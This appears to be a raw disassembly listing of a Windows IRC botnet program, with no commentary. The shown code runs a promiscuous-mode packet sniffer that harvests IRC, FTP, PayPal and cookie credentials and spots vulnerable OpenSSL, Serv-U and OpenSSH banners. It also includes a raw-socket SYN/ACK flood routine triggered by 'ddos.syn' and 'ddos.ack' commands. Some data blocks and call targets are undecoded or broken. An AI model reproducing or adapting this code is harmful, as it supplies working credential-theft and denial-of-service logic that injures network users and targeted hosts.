		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
		dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
		dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6E0h
		dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
		dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	0E56DE890h
		db 2Dh,	2

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361C0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26F08BFh
		nop


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F08BFh


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360BC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
		dd 29DDCEE8h, 51E85002h, 8D00008Eh, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0EC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0B8E89056h, 5F022DDDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790A53h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2790A53h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436214
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
